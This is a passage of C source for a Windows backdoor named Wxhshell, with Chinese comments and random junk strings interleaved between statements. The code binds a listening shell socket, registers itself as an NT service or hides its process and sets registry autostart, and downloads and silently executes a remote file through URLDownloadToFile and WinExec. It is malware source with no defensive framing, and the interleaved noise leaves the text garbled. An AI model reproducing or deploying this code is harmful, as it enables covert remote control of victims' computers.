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if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); #L$ I%L" ,e_# CloseHandle(hProcess); 2:F "?,6{\y, if(strstr(procName,"services")) return 1; // 以服务启动 (\>'yW{f -Lb^O/ return 0; // 注册表启动 ,4,c-
} 2H "iN[2A ,quTMtk~ // 主模块 ,?/<fxIY int StartWxhshell(LPSTR lpCmdLine) %/on\*Vh3 { *b_54X%3 SOCKET wsl; j!)p NZW.< BOOL val=TRUE; =7,UqMl_ int port=0; "6QMa,)D struct sockaddr_in door; d]`,}vi#E9 J,Ap9HJt if(wscfg.ws_autoins) Install(); ;P~S/j[ 8 Q>ytO'v1 port=atoi(lpCmdLine); .Tv(1HAc2l 9#6/c if(port<=0) port=wscfg.ws_port; #Q7$I.O] N
Z`hy>LF^ WSADATA data; i`'^ zR(`i if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; H-w|JH>g < z)G& h@ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; #{,IY03 setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); V/e_:xECC door.sin_family = AF_INET; ]L^M7SKE6 door.sin_addr.s_addr = inet_addr("127.0.0.1"); w%n]~w=8 door.sin_port = htons(port); ,2bAKa H/Q)zDP if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { i@L2W>{P closesocket(wsl); /)TEx}wk return 1; }}1Q<puM } ]H2aYi$ NkI: if(listen(wsl,2) == INVALID_SOCKET) { $ :wM'&M closesocket(wsl); ![^h<Om return 1; Jo <6M' } !g"9P 7p Wxhshell(wsl); c"1d#8J WSACleanup(); p\S3A( K67 ?
d return 0; ;i>E@ |lV9?#! } W|U1AXU7/ edx'p`%d5 // 以NT服务方式启动 n`xh/vGm# VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) E2D8s=r { qw1J{xoHW DWORD status = 0; AAgA]OD, DWORD specificError = 0xfffffff; >oDP(]YGg [hbp#I~*[ serviceStatus.dwServiceType = SERVICE_WIN32; ^j}sS!p serviceStatus.dwCurrentState = SERVICE_START_PENDING; {m:R v&T serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; /
u6$M/Cf> serviceStatus.dwWin32ExitCode = 0; <Q)} serviceStatus.dwServiceSpecificExitCode = 0; F-0PmO~3+W serviceStatus.dwCheckPoint = 0; or`stBx serviceStatus.dwWaitHint = 0; |'_<(z [rU8
#4.
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); g1, if (hServiceStatusHandle==0) return; Uiw7Y\Im| :X*LlN status = GetLastError(); i{qU RP}. if (status!=NO_ERROR) !3# }ZC2 { puF
Z~WZ serviceStatus.dwCurrentState = SERVICE_STOPPED; ]{^vs'as\ serviceStatus.dwCheckPoint = 0; \l5:A]J serviceStatus.dwWaitHint = 0; 38i,\@p`9$ serviceStatus.dwWin32ExitCode = status; 8Oh3iO serviceStatus.dwServiceSpecificExitCode = specificError; I3Xh[% -! SetServiceStatus(hServiceStatusHandle, &serviceStatus); *wcoDQ b; return; ,>v9 Y#U } %[m1\h"1 _!p3M3"$B serviceStatus.dwCurrentState = SERVICE_RUNNING; ~1sl.8tF serviceStatus.dwCheckPoint = 0; A"iD4Q serviceStatus.dwWaitHint = 0; e}AJxBE if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); (OQ
@!R& } 4[ 0?F!% RNtA4rC># // 处理NT服务事件,比如:启动、停止 1Z8oN3 VOID WINAPI NTServiceHandler(DWORD fdwControl) ]
Nipo'N; { aZ`agsofk switch(fdwControl) ;@~*z4U { :Xh`.*{EX case SERVICE_CONTROL_STOP: QC,(rB serviceStatus.dwWin32ExitCode = 0; KdsvZim0> serviceStatus.dwCurrentState = SERVICE_STOPPED; "e<.
n serviceStatus.dwCheckPoint = 0; z}8L}: serviceStatus.dwWaitHint = 0; :=v{inN { #q.G_-H4J@ SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6*33k'=;F } _O9H._E return; Y_hRL&u3W case SERVICE_CONTROL_PAUSE: wQB{K3 serviceStatus.dwCurrentState = SERVICE_PAUSED; N2s%p6RMPD break; 6'!{0 5=m case SERVICE_CONTROL_CONTINUE: =2)t1 H serviceStatus.dwCurrentState = SERVICE_RUNNING; s/H"Ab break; 3eP0v case SERVICE_CONTROL_INTERROGATE: W+C_=7_ break; 8;&S9'ci }; Vp"Ug,1 SetServiceStatus(hServiceStatusHandle, &serviceStatus); %ab)Gs } fO!O"D5 UC/2&7? // 标准应用程序主函数 v1g5( int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) UDtbfc7bk { \&)W#8V #gJ~ {tA: // 获取操作系统版本 ,!u@:UBT OsIsNt=GetOsVer(); )Hm[j)YI GetModuleFileName(NULL,ExeFile,MAX_PATH); X`QW(rq ?$4R < // 从命令行安装 E wsq0D if(strpbrk(lpCmdLine,"iI")) Install(); zb}+ m#q w?W e|x3 // 下载执行文件 :P~&
b P if(wscfg.ws_downexe) { H<7DcwXv if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Ilu`b|%D WinExec(wscfg.ws_filenam,SW_HIDE); ruA+1-<f } 13_~)V bRz^= if(!OsIsNt) { 4{WV // 如果时win9x,隐藏进程并且设置为注册表启动 U]U)' HideProc(); L^{;jgd&T9 StartWxhshell(lpCmdLine); $_zkq@ } m&0BbyE.z else mCNf]Yz if(StartFromService()) 33*d/%N9 // 以服务方式启动 aX'g9E StartServiceCtrlDispatcher(DispatchTable); ww t()
else ^H6d;n // 普通方式启动 1(7.V-(G StartWxhshell(lpCmdLine); 'qF3,Rw TKu68/\) return 0; BRXb<M^;_ }
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